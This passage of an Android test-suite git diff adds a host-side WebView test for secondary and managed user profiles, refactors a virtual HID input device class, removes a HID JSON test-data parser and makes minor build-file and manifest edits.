+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.webkit;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class WebViewHostSideMultipleProfileTest extends BaseHostJUnit4Test {
+    private static final String DEVICE_PACKAGE = "com.android.cts.webkit";
+    private static final String SIMPLE_DEVICE_TEST_CLASS = "WebViewDeviceSideMultipleProfileTest";
+    private static final String DEVICE_TEST_CLASS = DEVICE_PACKAGE + "." + SIMPLE_DEVICE_TEST_CLASS;
+    private static final String DEVICE_TEST_APK = "CtsWebViewStartupApp.apk";
+
+    static final String ADMIN_RECEIVER_TEST_CLASS =
+            DEVICE_TEST_CLASS + "$BasicAdminReceiver";
+    static final String PROFILE_OWNER_CLASS = DEVICE_PACKAGE + "/" + ADMIN_RECEIVER_TEST_CLASS;
+
+    private static final String SECONDARY_USER_NAME = "WebViewTestProfile";
+
+    private ITestDevice mDevice;
+    private int mInitialUserId;
+    private int mUserId = -1;
+
+
+    @Before
+    public void setUp() throws InterruptedException, DeviceNotAvailableException {
+        mDevice = getDevice();
+        mInitialUserId = mDevice.getCurrentUser();
+    }
+
+    @After
+    public void tearDown() throws DeviceNotAvailableException {
+        if (mUserId > 0) {
+            Assert.assertTrue(mDevice.switchUser(mInitialUserId));
+            stopAndRemoveUser(mUserId);
+        }
+    }
+
+    @Test
+    public void testSecondProfile() throws DeviceNotAvailableException, TargetSetupError {
+        Assume.assumeTrue(isMultiUsersSupported());
+
+        mUserId = createUser(SECONDARY_USER_NAME + System.currentTimeMillis(), false);
+        startUser(mUserId);
+        switchUser(mUserId);
+        installTestApkForUser(mUserId);
+
+        assertWebViewDeviceTestAsUserPasses(this, "testCreateWebViewAndNavigate", mUserId);
+    }
+
+    @Test
+    public void testManagedProfile() throws DeviceNotAvailableException, TargetSetupError {
+        Assume.assumeTrue(isMultiUsersSupported() && isManagedProfileSupported());
+
+        mUserId = createUser(SECONDARY_USER_NAME + System.currentTimeMillis(), true);
+        startUser(mUserId);
+        setProfileOwnwer(mUserId, PROFILE_OWNER_CLASS);
+        installTestApkForUser(mUserId);
+
+        assertWebViewDeviceTestAsUserPasses(this, "testCreateWebViewAndNavigate", mUserId);
+    }
+
+    private void installTestApkForUser(int userId) throws DeviceNotAvailableException {
+        try {
+            // TODO: it would be nice to use BaseHostJUnit4Test#installPackageAsUser instead.
+            // However, this method removes installed package for all users after test is finished.
+            // Therefore it breaks other tests that rely on targetprep which installs test APK once
+            // before tests are executed.
+            // See b/178367954.
+            File file = getTestInformation().getDependencyFile(DEVICE_TEST_APK, true);
+            String output = mDevice.installPackageForUser(file, true, false, userId);
+            if (output != null) {
+                stopAndRemoveUser(userId);
+                Assert.fail("Failed to install test apk " + output);
+            }
+        } catch (FileNotFoundException e) {
+            stopAndRemoveUser(userId);
+            Assert.fail("Failed to install test apk " + DEVICE_TEST_APK);
+        }
+    }
+
+    private int createUser(String profileName, boolean isManaged)
+            throws DeviceNotAvailableException {
+        String command = isManaged ?
+                "pm create-user --profileOf %d --managed %s" :
+                "pm create-user --profileOf %d %s";
+        command = String.format(command, mDevice.getPrimaryUserId(), profileName);
+
+        CommandResult output = mDevice.executeShellV2Command(command);
+        if (CommandStatus.SUCCESS.equals(output.getStatus())) {
+            try {
+                String[] tokens = output.getStdout().split("\\s+");
+                return Integer.parseInt(tokens[tokens.length - 1]);
+            } catch (NumberFormatException e) {
+                LogUtil.CLog.d("Failed to parse user id when creating a profile user");
+            }
+        }
+        throw new IllegalStateException(String.format("Failed to create user: %s", output));
+    }
+
+    private void startUser(int userId) throws DeviceNotAvailableException {
+        if (!mDevice.startUser(userId)) {
+            mDevice.removeUser(userId);
+            Assert.fail("Failed to start user " + userId);
+        }
+    }
+
+    private void switchUser(int userId) throws DeviceNotAvailableException {
+        if (!mDevice.switchUser(userId)) {
+            stopAndRemoveUser(userId);
+            Assert.fail("Failed to switch to user " + userId);
+        }
+    }
+
+    private void setProfileOwnwer(int userId, String componentName)
+            throws DeviceNotAvailableException {
+        String command = "dpm set-profile-owner --user " + userId + " '" + componentName + "'";
+        CommandResult output = mDevice.executeShellV2Command(command);
+        if (!CommandStatus.SUCCESS.equals(output.getStatus())) {
+            stopAndRemoveUser(mUserId);
+            Assert.fail("Failed to set profile owner");
+        }
+    }
+
+    private void stopAndRemoveUser(int userId) throws DeviceNotAvailableException {
+        mDevice.switchUser(mInitialUserId);
+        if (!mDevice.stopUser(userId, /*waitFlag */true, /* stopFlag = */ true)) {
+            Assert.fail("Failed to stop user " + userId);
+        }
+        if (!mDevice.removeUser(mUserId)) {
+            Assert.fail("Failed to remove user " + userId);
+        }
+    }
+
+    private boolean isMultiUsersSupported() throws DeviceNotAvailableException {
+        return mDevice.getMaxNumberOfUsersSupported() > 1;
+    }
+
+    private boolean isManagedProfileSupported() throws DeviceNotAvailableException {
+        return mDevice.hasFeature("android.software.managed_users");
+    }
+
+    private static void assertWebViewDeviceTestAsUserPasses(BaseHostJUnit4Test hostTest,
+            String methodName, int userId) throws DeviceNotAvailableException {
+        hostTest.runDeviceTests(
+                new DeviceTestRunOptions(DEVICE_PACKAGE)
+                        .setTestClassName(DEVICE_TEST_CLASS)
+                        .setTestMethodName(methodName)
+                        .setUserId(userId)
+                        // Fail the host-side test if the device-side test fails.
+                        .setCheckResults(true));
+    }
+}
diff --git a/hostsidetests/wifibroadcasts/Android.bp b/hostsidetests/wifibroadcasts/Android.bp
index 3016061..42a3b4f 100644
--- a/hostsidetests/wifibroadcasts/Android.bp
+++ b/hostsidetests/wifibroadcasts/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsWifiBroadcastsHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/wifibroadcasts/TEST_MAPPING b/hostsidetests/wifibroadcasts/TEST_MAPPING
new file mode 100644
index 0000000..d740fae
--- /dev/null
+++ b/hostsidetests/wifibroadcasts/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWifiBroadcastsHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/wifibroadcasts/app/Android.bp b/hostsidetests/wifibroadcasts/app/Android.bp
index 92f420f..2dc0b0f 100644
--- a/hostsidetests/wifibroadcasts/app/Android.bp
+++ b/hostsidetests/wifibroadcasts/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsWifiBroadcastsDeviceApp",
     dex_preopt: {
diff --git a/hostsidetests/wifibroadcasts/app/AndroidManifest.xml b/hostsidetests/wifibroadcasts/app/AndroidManifest.xml
index 7bc2d00..5e29ffc 100644
--- a/hostsidetests/wifibroadcasts/app/AndroidManifest.xml
+++ b/hostsidetests/wifibroadcasts/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.wifibroadcasts.app">
+     package="android.wifibroadcasts.app">
 
     <application>
-        <activity android:name=".WifiBroadcastsDeviceActivity" >
+        <activity android:name=".WifiBroadcastsDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
index 0b4882a..da566c5 100644
--- a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
+++ b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
@@ -111,8 +111,8 @@
         }
         // Clear activity
         device.executeShellCommand(CLEAR_COMMAND);
-        // No mobile data or wifi or bluetooth to start with
-        device.executeShellCommand("svc data disable; svc wifi disable; svc bluetooth disable");
+        // No mobile data or wifi to start with
+        device.executeShellCommand("svc data disable; svc wifi disable");
         // Clear logcat.
         device.executeAdbCommand("logcat", "-c");
         // Ensure the screen is on, so that rssi polling happens
diff --git a/libs/deviceutillegacy/Android.bp b/libs/deviceutillegacy/Android.bp
index 8d00a4f..ddd07f0 100644
--- a/libs/deviceutillegacy/Android.bp
+++ b/libs/deviceutillegacy/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "ctsdeviceutillegacy-axt",
 
diff --git a/libs/helpers/core/Android.bp b/libs/helpers/core/Android.bp
index 9cc3a04..a00c67b 100644
--- a/libs/helpers/core/Android.bp
+++ b/libs/helpers/core/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-helpers-core",
     defaults: ["cts_defaults"],
diff --git a/libs/helpers/core/tests/Android.bp b/libs/helpers/core/tests/Android.bp
index 8816bb6..2bff559 100644
--- a/libs/helpers/core/tests/Android.bp
+++ b/libs/helpers/core/tests/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "cts-helpers-core-tests",
 
diff --git a/libs/helpers/interfaces/Android.bp b/libs/helpers/interfaces/Android.bp
index 3cdb264..7b84d69 100644
--- a/libs/helpers/interfaces/Android.bp
+++ b/libs/helpers/interfaces/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-helpers-interfaces",
 
diff --git a/libs/input/Android.bp b/libs/input/Android.bp
index 27b9445..bc666a3 100644
--- a/libs/input/Android.bp
+++ b/libs/input/Android.bp
@@ -12,12 +12,11 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "cts-input-lib",
     sdk_version: "test_current",
     srcs: ["src/**/*.java"],
-}
+    static_libs: [
+        "androidx.test.rules",
+    ],
+}
\ No newline at end of file
diff --git a/libs/input/src/com/android/cts/input/HidBatteryTestData.java b/libs/input/src/com/android/cts/input/HidBatteryTestData.java
new file mode 100644
index 0000000..12761a3
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/HidBatteryTestData.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Data class that stores HID  battery test data.
+  */
+public class HidBatteryTestData {
+    // Name of the test
+    public String name;
+
+    // HID reports that are used as input to /dev/uhid
+    public List<String> reports = new ArrayList<String>();
+
+    // Expected battery capacities.
+    // Some input device drivers change battery capacity interpretations so we have to add
+    // alternative capacity levels for different version of drivers.
+    public float[] capacities;
+
+    // Expected battery status
+    public int status;
+}
diff --git a/libs/input/src/com/android/cts/input/HidDevice.java b/libs/input/src/com/android/cts/input/HidDevice.java
index 173531a..7646fce 100644
--- a/libs/input/src/com/android/cts/input/HidDevice.java
+++ b/libs/input/src/com/android/cts/input/HidDevice.java
@@ -16,97 +16,97 @@
 
 package com.android.cts.input;
 
-import static android.os.FileUtils.closeQuietly;
 
 import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.hardware.input.InputManager;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
 
 import org.json.JSONArray;
 import org.json.JSONException;
 import org.json.JSONObject;
 
 import java.io.IOException;
-import java.io.OutputStream;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
+import java.util.List;
 
 /**
  * Represents a virtual HID device registered through /dev/uhid.
  */
-public final class HidDevice implements InputManager.InputDeviceListener {
+public final class HidDevice extends VirtualInputDevice {
     private static final String TAG = "HidDevice";
     // hid executable expects "-" argument to read from stdin instead of a file
     private static final String HID_COMMAND = "hid -";
 
-    private final int mId; // // initialized from the json file
+    @GuardedBy("mLock")
+    private List<HidResultData> mResults = new ArrayList<HidResultData>();
 
-    private OutputStream mOutputStream;
-    private Instrumentation mInstrumentation;
+    @Override
+    protected String getShellCommand() {
+        return HID_COMMAND;
+    }
 
-    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
-
-    public HidDevice(Instrumentation instrumentation, int deviceId, String registerCommand) {
-        mInstrumentation = instrumentation;
-        setupPipes();
-
-        mInstrumentation.runOnMainSync(new Runnable(){
-            @Override
-            public void run() {
-                InputManager inputManager =
-                        mInstrumentation.getContext().getSystemService(InputManager.class);
-                inputManager.registerInputDeviceListener(HidDevice.this, null);
+    @Override
+    protected void readResults() {
+        try {
+            mReader.beginObject();
+            HidResultData result = new HidResultData();
+            while (mReader.hasNext()) {
+                String fieldName = mReader.nextName();
+                if (fieldName.equals("eventId")) {
+                    result.eventId = Byte.decode(mReader.nextString());
+                }
+                if (fieldName.equals("deviceId")) {
+                    result.deviceId = Integer.decode(mReader.nextString());
+                }
+                if (fieldName.equals("reportType")) {
+                    result.reportType = Byte.decode(mReader.nextString());
+                }
+                if (fieldName.equals("reportData")) {
+                    result.reportData = readData();
+                }
             }
-        });
+            mReader.endObject();
+            addResult(result);
+        } catch (IOException ex) {
+            Log.w(TAG, "Exiting JSON Result reader. " + ex);
+        }
+    }
 
-        mId = deviceId;
-        registerInputDevice(registerCommand);
+    public HidDevice(Instrumentation instrumentation, int id,
+            int vendorId, int productId, int sources, String registerCommand) {
+        super(instrumentation, id, vendorId, productId, sources, registerCommand);
     }
 
     /**
-     * Register an input device. May cause a failure if the device added notification
-     * is not received within the timeout period
+     * Get hid command return results as list of HidResultData
      *
-     * @param registerCommand The full json command that specifies how to register this device
+     * @return List of HidResultData results
      */
-    private void registerInputDevice(String registerCommand) {
-        mDeviceAddedSignal = new CountDownLatch(1);
-        writeHidCommands(registerCommand.getBytes());
-        try {
-            // Found that in kernel 3.10, the device registration takes a very long time
-            // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
-            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
-            if (mDeviceAddedSignal.getCount() != 0) {
-                throw new RuntimeException("Did not receive device added notification in time");
+    public synchronized List<HidResultData> getResults(int deviceId, byte eventId)
+            throws IOException {
+        List<HidResultData> results = new ArrayList<HidResultData>();
+        synchronized (mLock) {
+            for (HidResultData result : mResults) {
+                if (deviceId == result.deviceId && eventId == result.eventId) {
+                    results.add(result);
+                }
             }
-        } catch (InterruptedException ex) {
-            throw new RuntimeException(
-                    "Unexpectedly interrupted while waiting for device added notification.");
         }
-        // Even though the device has been added, it still may not be ready to process the events
-        // right away. This seems to be a kernel bug.
-        // Add a small delay here to ensure device is "ready".
-        SystemClock.sleep(500);
+        return results;
     }
 
     /**
-     * Add a delay between processing events.
+     * Add hid command returned HidResultData result
      *
-     * @param milliSeconds The delay in milliseconds.
+     * @param result HidResultData result
      */
-    public void delay(int milliSeconds) {
-        JSONObject json = new JSONObject();
-        try {
-            json.put("command", "delay");
-            json.put("id", mId);
-            json.put("duration", milliSeconds);
-        } catch (JSONException e) {
-            throw new RuntimeException(
-                    "Could not create JSON object to delay " + milliSeconds + " milliseconds");
+    public synchronized void addResult(HidResultData result) {
+        synchronized (mLock) {
+            if (mId == result.deviceId && mResults != null) {
+                mResults.add(result);
+            }
         }
-        writeHidCommands(json.toString().getBytes());
     }
 
     /**
@@ -126,44 +126,7 @@
         } catch (JSONException e) {
             throw new RuntimeException("Could not process HID report: " + report);
         }
-        writeHidCommands(json.toString().getBytes());
+        writeCommands(json.toString().getBytes());
     }
 
-    /**
-     * Close the device, which would cause the associated input device to unregister.
-     */
-    public void close() {
-        closeQuietly(mOutputStream);
-    }
-
-    private void setupPipes() {
-        UiAutomation ui = mInstrumentation.getUiAutomation();
-        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
-
-        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
-        closeQuietly(pipes[0]); // hid command is write-only
-    }
-
-    private void writeHidCommands(byte[] bytes) {
-        try {
-            mOutputStream.write(bytes);
-            mOutputStream.flush();
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    // InputManager.InputDeviceListener functions
-    @Override
-    public void onInputDeviceAdded(int deviceId) {
-        mDeviceAddedSignal.countDown();
-    }
-
-    @Override
-    public void onInputDeviceChanged(int deviceId) {
-    }
-
-    @Override
-    public void onInputDeviceRemoved(int deviceId) {
-    }
 }
diff --git a/libs/input/src/com/android/cts/input/HidJsonParser.java b/libs/input/src/com/android/cts/input/HidJsonParser.java
deleted file mode 100644
index 0bc5ea0..0000000
--- a/libs/input/src/com/android/cts/input/HidJsonParser.java
+++ /dev/null
@@ -1,376 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.input;
-
-import android.content.Context;
-import android.view.InputDevice;
-import android.view.InputEvent;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.List;
-
-
-/**
- * Parse json resource file that contains the test commands for HidDevice
- *
- * For files containing reports and input events, each entry should be in the following format:
- * <code>
- * {"name": "test case name",
- *  "reports": reports,
- *  "events": input_events
- * }
- * </code>
- *
- * {@code reports} - an array of strings that contain hex arrays.
- * {@code input_events} - an array of dicts in the following format:
- * <code>
- * {"action": "down|move|up", "axes": {"axis_x": x, "axis_y": y}, "keycode": "button_a"}
- * </code>
- * {@code "axes"} should only be defined for motion events, and {@code "keycode"} for key events.
- * Timestamps will not be checked.
-
- * Example:
- * <code>
- * [{ "name": "press button A",
- *    "reports": ["report1",
- *                "report2",
- *                "report3"
- *               ],
- *    "events": [{"action": "down", "axes": {"axis_y": 0.5, "axis_x": 0.1}},
- *               {"action": "move", "axes": {"axis_y": 0.0, "axis_x": 0.0}}
- *              ]
- *  },
- *  ... more tests like that
- * ]
- * </code>
- */
-public class HidJsonParser {
-    private static final String TAG = "JsonParser";
-
-    private Context mContext;
-
-    public HidJsonParser(Context context) {
-        mContext = context;
-    }
-
-    /**
-     * Convenience function to create JSONArray from resource.
-     * The resource specified should contain JSON array as the top-level structure.
-     *
-     * @param resourceId The resourceId that contains the json data (typically inside R.raw)
-     */
-    private JSONArray getJsonArrayFromResource(int resourceId) {
-        String data = readRawResource(resourceId);
-        try {
-            return new JSONArray(data);
-        } catch (JSONException e) {
-            throw new RuntimeException(
-                    "Could not parse resource " + resourceId + ", received: " + data);
-        }
-    }
-
-    /**
-     * Convenience function to read in an entire file as a String.
-     *
-     * @param id resourceId of the file
-     * @return contents of the raw resource file as a String
-     */
-    private String readRawResource(int id) {
-        InputStream inputStream = mContext.getResources().openRawResource(id);
-        try {
-            return readFully(inputStream);
-        } catch (IOException e) {
-            throw new RuntimeException("Could not read resource id " + id);
-        }
-    }
-
-    /**
-     * Read register command from raw resource.
-     *
-     * @param resourceId the raw resource id that contains the command
-     * @return the command to register device that can be passed to HidDevice constructor
-     */
-    public String readRegisterCommand(int resourceId) {
-        return readRawResource(resourceId);
-    }
-
-    /**
-     * Read entire input stream until no data remains.
-     *
-     * @param inputStream
-     * @return content of the input stream
-     * @throws IOException
-     */
-    private String readFully(InputStream inputStream) throws IOException {
-        OutputStream baos = new ByteArrayOutputStream();
-        byte[] buffer = new byte[1024];
-        int read = inputStream.read(buffer);
-        while (read >= 0) {
-            baos.write(buffer, 0, read);
-            read = inputStream.read(buffer);
-        }
-        return baos.toString();
-    }
-
-    /**
-     * Extract the device id from the raw resource file. This is needed in order to register
-     * a HidDevice.
-     *
-     * @param resourceId resorce file that contains the register command.
-     * @return hid device id
-     */
-    public int readDeviceId(int resourceId) {
-        try {
-            JSONObject json = new JSONObject(readRawResource(resourceId));
-            return json.getInt("id");
-        } catch (JSONException e) {
-            throw new RuntimeException("Could not read device id from resource " + resourceId);
-        }
-    }
-
-    /**
-     * Read json resource, and return a {@code List} of HidTestData, which contains
-     * the name of each test, along with the HID reports and the expected input events.
-     */
-    public List<HidTestData> getTestData(int resourceId) {
-        JSONArray json = getJsonArrayFromResource(resourceId);
-        List<HidTestData> tests = new ArrayList<HidTestData>();
-        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
-            HidTestData testData = new HidTestData();
-
-            try {
-                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
-                testData.name = testcaseEntry.getString("name");
-                JSONArray reports = testcaseEntry.getJSONArray("reports");
-
-                for (int i = 0; i < reports.length(); i++) {
-                    String report = reports.getString(i);
-                    testData.reports.add(report);
-                }
-
-                final int source = sourceFromString(testcaseEntry.optString("source"));
-
-                JSONArray events = testcaseEntry.getJSONArray("events");
-                for (int i = 0; i < events.length(); i++) {
-                    JSONObject entry = events.getJSONObject(i);
-
-                    InputEvent event;
-                    if (entry.has("keycode")) {
-                        event = parseKeyEvent(source, entry);
-                    } else if (entry.has("axes")) {
-                        event = parseMotionEvent(source, entry);
-                    } else {
-                        throw new RuntimeException(
-                                "Input event is not specified correctly. Received: " + entry);
-                    }
-                    testData.events.add(event);
-                }
-                tests.add(testData);
-            } catch (JSONException e) {
-                throw new RuntimeException("Could not process entry " + testCaseNumber);
-            }
-        }
-        return tests;
-    }
-
-    private KeyEvent parseKeyEvent(int source, JSONObject entry) throws JSONException {
-        int action = keyActionFromString(entry.getString("action"));
-        int keyCode = KeyEvent.keyCodeFromString(entry.getString("keycode"));
-        int metaState = metaStateFromString(entry.optString("metaState"));
-        // We will only check select fields of the KeyEvent. Times are not checked.
-        return new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
-                /* repeat */ 0, metaState, /* deviceId */ 0, /* scanCode */ 0,
-                /* flags */ 0, source);
-    }
-
-    private MotionEvent parseMotionEvent(int source, JSONObject entry) throws JSONException {
-        MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1];
-        properties[0] = new MotionEvent.PointerProperties();
-        properties[0].id = 0;
-        properties[0].toolType = MotionEvent.TOOL_TYPE_UNKNOWN;
-
-        MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[1];
-        coords[0] = new MotionEvent.PointerCoords();
-
-        JSONObject axes = entry.getJSONObject("axes");
-        Iterator<String> keys = axes.keys();
-        while (keys.hasNext()) {
-            String axis = keys.next();
-            float value = (float) axes.getDouble(axis);
-            coords[0].setAxisValue(MotionEvent.axisFromString(axis), value);
-        }
-
-        int buttonState = 0;
-        JSONArray buttons = entry.optJSONArray("buttonState");
-        if (buttons != null) {
-            for (int i = 0; i < buttons.length(); ++i) {
-                buttonState |= motionButtonFromString(buttons.getString(i));
-            }
-        }
-
-        int action = motionActionFromString(entry.getString("action"));
-        // Only care about axes, action and source here. Times are not checked.
-        return MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
-                /* pointercount */ 1, properties, coords, 0, buttonState, 0f, 0f,
-                0, 0, source, 0);
-    }
-
-    private static int keyActionFromString(String action) {
-        switch (action.toUpperCase()) {
-            case "DOWN":
-                return KeyEvent.ACTION_DOWN;
-            case "UP":
-                return KeyEvent.ACTION_UP;
-        }
-        throw new RuntimeException("Unknown action specified: " + action);
-    }
-
-    private static int metaStateFromString(String metaStateString) {
-        int metaState = 0;
-        if (metaStateString.isEmpty()) {
-            return metaState;
-        }
-        final String[] metaKeys = metaStateString.split("\\|");
-        for (final String metaKeyString : metaKeys) {
-            final String trimmedKeyString = metaKeyString.trim();
-            switch (trimmedKeyString.toUpperCase()) {
-                case "SHIFT_LEFT":
-                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON;
-                    break;
-                case "SHIFT_RIGHT":
-                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON;
-                    break;
-                case "CTRL_LEFT":
-                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
-                    break;
-                case "CTRL_RIGHT":
-                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_RIGHT_ON;
-                    break;
-                case "ALT_LEFT":
-                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON;
-                    break;
-                case "ALT_RIGHT":
-                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_RIGHT_ON;
-                    break;
-                case "META_LEFT":
-                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_LEFT_ON;
-                    break;
-                case "META_RIGHT":
-                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_RIGHT_ON;
-                    break;
-                case "CAPS_LOCK":
-                    metaState |= KeyEvent.META_CAPS_LOCK_ON;
-                    break;
-                case "NUM_LOCK":
-                    metaState |= KeyEvent.META_NUM_LOCK_ON;
-                    break;
-                case "SCROLL_LOCK":
-                    metaState |= KeyEvent.META_SCROLL_LOCK_ON;
-                    break;
-                default:
-                    throw new RuntimeException("Unknown meta state chunk: " + trimmedKeyString
-                            + " in meta state string: " + metaStateString);
-            }
-        }
-        return metaState;
-    }
-
-    private static int motionActionFromString(String action) {
-        switch (action.toUpperCase()) {
-            case "DOWN":
-                return MotionEvent.ACTION_DOWN;
-            case "MOVE":
-                return MotionEvent.ACTION_MOVE;
-            case "UP":
-                return MotionEvent.ACTION_UP;
-            case "BUTTON_PRESS":
-                return MotionEvent.ACTION_BUTTON_PRESS;
-            case "BUTTON_RELEASE":
-                return MotionEvent.ACTION_BUTTON_RELEASE;
-            case "HOVER_ENTER":
-                return MotionEvent.ACTION_HOVER_ENTER;
-            case "HOVER_MOVE":
-                return MotionEvent.ACTION_HOVER_MOVE;
-            case "HOVER_EXIT":
-                return MotionEvent.ACTION_HOVER_EXIT;
-        }
-        throw new RuntimeException("Unknown action specified: " + action);
-    }
-
-    private static int sourceFromString(String sourceString) {
-        if (sourceString.isEmpty()) {
-            return InputDevice.SOURCE_UNKNOWN;
-        }
-        int source = 0;
-        final String[] sourceEntries = sourceString.split("\\|");
-        for (final String sourceEntry : sourceEntries) {
-            final String trimmedSourceEntry = sourceEntry.trim();
-            switch (trimmedSourceEntry.toUpperCase()) {
-                case "MOUSE_RELATIVE":
-                    source |= InputDevice.SOURCE_MOUSE_RELATIVE;
-                    break;
-                case "JOYSTICK":
-                    source |= InputDevice.SOURCE_JOYSTICK;
-                    break;
-                case "KEYBOARD":
-                    source |= InputDevice.SOURCE_KEYBOARD;
-                    break;
-                case "GAMEPAD":
-                    source |= InputDevice.SOURCE_GAMEPAD;
-                    break;
-                case "DPAD":
-                    source |= InputDevice.SOURCE_DPAD;
-                    break;
-                default:
-                    throw new RuntimeException("Unknown source chunk: " + trimmedSourceEntry
-                            + " in source string: " + sourceString);
-            }
-        }
-        return source;
-    }
-
-    private static int motionButtonFromString(String button) {
-        switch (button.toUpperCase()) {
-            case "BACK":
-                return MotionEvent.BUTTON_BACK;
-            case "FORWARD":
-                return MotionEvent.BUTTON_FORWARD;
-            case "PRIMARY":
-                return MotionEvent.BUTTON_PRIMARY;
-            case "SECONDARY":
